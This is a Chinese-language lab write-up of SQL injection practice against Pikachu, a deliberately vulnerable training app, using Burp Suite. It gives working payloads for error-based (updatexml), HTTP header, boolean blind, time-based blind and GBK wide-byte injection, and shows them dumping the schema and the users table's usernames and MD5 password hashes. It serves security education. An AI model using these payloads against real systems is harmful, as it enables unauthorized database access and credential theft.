目录
1.实验内容
1)delete注入
2)http header注入
3)盲注(base on boolian)
4)盲注(base on time)
5)宽字节注入
2.实验环境
Pikachu;
Firefox 52.0.2 渗透便携版 T00LS beta8;
BurpSuite2.0.0;
phpStudy2018
3.实验结果
1)delete注入
在空白的留言板任意输入几条信息
启动Burp Suite,再随意点击一条留言删除,进行抓包并发送至Repeater
id后加单引号'时出现报错信息
存在SQL注入漏洞,且此处同样可以使用报错注入
确定数据库名
0 or updatexml(1,concat(0x7e,database()),0)#
注:一些关键字需要转化为URL格式
因此输入上述代码并选中,按快捷键Ctrl+U进行格式转化
确定表名
0 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)
按快捷键Ctrl+U进行格式转化
0 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1)
按快捷键Ctrl+U进行格式转化
确定字段名
0 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)
按快捷键Ctrl+U进行格式转化,此处确定的是表‘users’的字段名
确定数据
0 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)
按快捷键Ctrl+U进行格式转化,确定表‘users’的username和password字段数据
0 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)
按快捷键Ctrl+U进行格式转化
0 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)
按快捷键Ctrl+U进行格式转化
0 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),94,31),0x7e),1)
按快捷键Ctrl+U进行格式转化
2)http header注入
输入username和password(admin-123456),点击Login,页面跳转
启动Burp Suite进行抓包并发送至Repeater
修改user agent参数,在其后加上单引号‘’,页面返回报错信息
存在SQL注入漏洞,且此处同样可以使用报错注入
确定数据库名
' or updatexml(1,concat(0x7e,database()),1) or'
确定表名
' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #
' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) #
确定字段名
' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #
此处确定的是表‘users’的字段名
确定数据
' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #
确定表‘users’的username和password字段数据
' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1) #
' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1) #
' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),64,31),0x7e),1) #
3)盲注(base on boolian)
查询结果只存在 True 或 False,没有更多的报错信息可以挖掘
输入单引号'页面显示
lili' and 1=1#
输入以上语句,页面返回正常信息,说明为字符型的盲注
判断字段数:
lili' order by num #
num=1,2时正常,num=3时显示“您输入的username不存在,请重新输入!”,即字段数为2
确定数据库名长度
lili' and length(database())>num-- q
num=1-6时正常,num=7时显示“您输入的username不存在,请重新输入!”,即数据库名长度为7
确定数据库名
lili' and (substr(database(),1,1))='p'-- q
lili' and (substr(database(),2,1))='i'-- q
说明数据库名的第一个字母为 p,以此类推,得到数据库名 pikachu
确定表名
lili' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='h'-- q
lili' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))='t'-- q
上述代码说明第一个表名的第一个字母为 h,第二个字母为 t
lili' and (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))='m'-- q
上述代码说明第二个表名的第一个字母为 m
以此类推,得到全部表名httpinfo,member,message,users,xssblind
注:limit关键字可以接受一个或者两个参数,且参数需是整数常量
一个参数:默认初始记录行为0
两个参数:第一个表示返回记录行的偏移量,第二个表示返回记录行最大的数目
确定字段名
lili' and (substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))='i'-- q
此处确定的是表‘users’的字段名
以此类推,得到全部字段名:id,username,password,level,id,username,password
确定数据
lili' and (substr((select username from users limit 0,1),1,1))='a'-- q
lili' and (substr((select password from users limit 0,1),1,1))='e'-- q
确定表‘users’的username和password字段数据
以此类推,得到三个账户的用户名和密码(MD5值)
admin,pikachu,test
e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03
4)盲注(base on time)
无论输入什么信息页面都返回“i don't care who you are!”,无法根据页面返回信息来确认真假
但可以通过页面返回信息的时间长短来判断页面是否成功执行了注入的语句
输入下述语句,需要等待五秒以上,说明网页执行了语句中的sleep函数,存在时间盲注漏洞
lili' and sleep(5) #
确定数据库名长度
lili' and if((length(database())=num),sleep(3),null)#
num=1-6时延时3秒,num=7时未延时3秒,说明数据库名长度为7
确定数据库名
lili' and if((substr(database(),1,1)='p'),sleep(3),null)#
lili' and if((substr(database(),2,1)='i'),sleep(3),null)#
说明数据库名的第一个字母为 p,以此类推,得到数据库名 pikachu
确定表名
lili' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='h'),sleep(3),null)#
lili' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='t'),sleep(3),null)#
上述代码说明第一个表名的第一个字母为 h,第二个字母为 t
lili' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='m'),sleep(3),null)#
上述代码说明第二个表名的第一个字母为 m
以此类推,得到全部表名httpinfo,member,message,users,xssblind
确定字段名
lili' and if((substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i'),sleep(3),null)#
此处确定的是表‘users’的字段名
以此类推,得到全部字段名:id,username,password,level,id,username,password
确定数据
lili' and if((substr((select username from users limit 0,1),1,1)='a'),sleep(3),null)#
lili' and if((substr((select password from users limit 0,1),1,1)='e'),sleep(3),null)#
确定表‘users’的username和password字段数据
以此类推,得到三个账户的用户名和密码(MD5值)
admin,pikachu,test
e10adc3949ba59abbe56e057f20f883e,670b14728ad9902aecba32e22fa4f6bd,e99a18c428cb38d5f260853678922e03
5)宽字节注入
窄字节:字符的大小为一个字节
宽字节:字符的大小为两个字节
英文默认占一个字节,中文占两个字节
原理:在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致编码转换问
题。MySQL在使用GBK编码的时候,会认为两个字符为一个汉字。因此可以通过逃逸转义使一些
恶意字符发挥作用。比如:
单引号'会被反斜杠\转义,单引号'的GBK编码为%27,反斜杠\的GBK编码为%5c,
在%5c%27前添加%df形成%df%5c%27,当数据进入数据库时,%df%5c两字节会被当成汉字
“連”,所以通过%df使%5c失效,单引号由此逃逸可以用来闭合语句。
输入提示中的名字
启动Burp Suite进行抓包并发送至Repeater
kobe%df' or 1=1#
(此处无法用order by判断字段数)
判断回显位
kobe%df' union select 1,2#
确定数据库名
kobe%df' union select 1,database()#
确定表名
kobe%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
确定字段名
kobe%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#
此处确定的是表‘users’的字段名
确定数据
kobe%df' union select group_concat(username),group_concat(password) from users #
确定表‘users’的username和password字段数据